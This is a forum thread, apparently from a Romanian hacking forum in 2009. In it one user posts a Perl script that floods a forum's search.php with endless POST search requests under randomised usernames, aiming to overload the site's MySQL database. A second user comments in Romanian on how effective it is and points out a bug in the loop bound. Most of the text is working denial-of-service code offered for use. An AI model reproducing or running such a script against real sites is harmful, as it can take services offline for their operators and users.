Vlachs Posted November 2, 2009 Report Share Posted November 2, 2009 #!"c:\perl\bin\perl.exe"use Socket;if (@ARGV < 2) { &usage; }$rand=rand(10);$host = $ARGV[0];$dir = $ARGV[1];$host =~ s/(http://)//eg;for ($i=0; $i<9999999999999999999999999999999999999999999999999999999999999999999999; $i++){$user="h4x0r".$rand.$i;$data = "s=&do=process&query=$user&titleonly=0&starteronly=0&exactname=1&replyless=0&replylimit=3&searchdate=1&beforeafter=before&sortby=title&order=descending&showposts=1&forumchoice[]=0&childforums=1&dosearch=Search%20Now";$len = length $data;$foo = "POST ".$dir."search.php HTTP/1.1\r\n"."Accept: */*\r\n"."Accept-Language: en-gb\r\n"."Content-Type: application/x-www-form-urlencoded\r\n"."Accept-Encoding: gzip, deflate\r\n"."User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)\r\n"."Host: $host\r\n"."Content-Length: $len\r\n"."Connection: Keep-Alive\r\n"."Cache-Control: no-cache\r\n\r\n"."$data";my $port = "80";my $proto = getprotobyname('tcp');socket(SOCKET, PF_INET, SOCK_STREAM, $proto);connect(SOCKET, sockaddr_in($port, inet_aton($host))) || redo;send(SOCKET,"$foo", 0);syswrite STDOUT, "|";}print "\n\n";system('ping $host');sub usage {print "\tusage: \n";print "\t$0 <host> </dir/>\n";print "\tex: $0 127.0.0.1 /forum/\n";print "\tex2: $0 127.0.0.1 / (if there isn't a dir)\n\n";print "\~rippers~ team\n";print "\twww.~rippers~.org\n\n";exit();}; Quote Link to comment Share on other sites More sharing options...
Nytro Posted November 2, 2009 Report Share Posted November 2, 2009 Da, search request, asta ar trebui sa "forjeze" cel mai rau serverul MySQL. Dragut, pacat de $i<9999999999999999999999999999999999999999999999999999999999999999999999; care strica tot codul. Quote Link to comment Share on other sites More sharing options...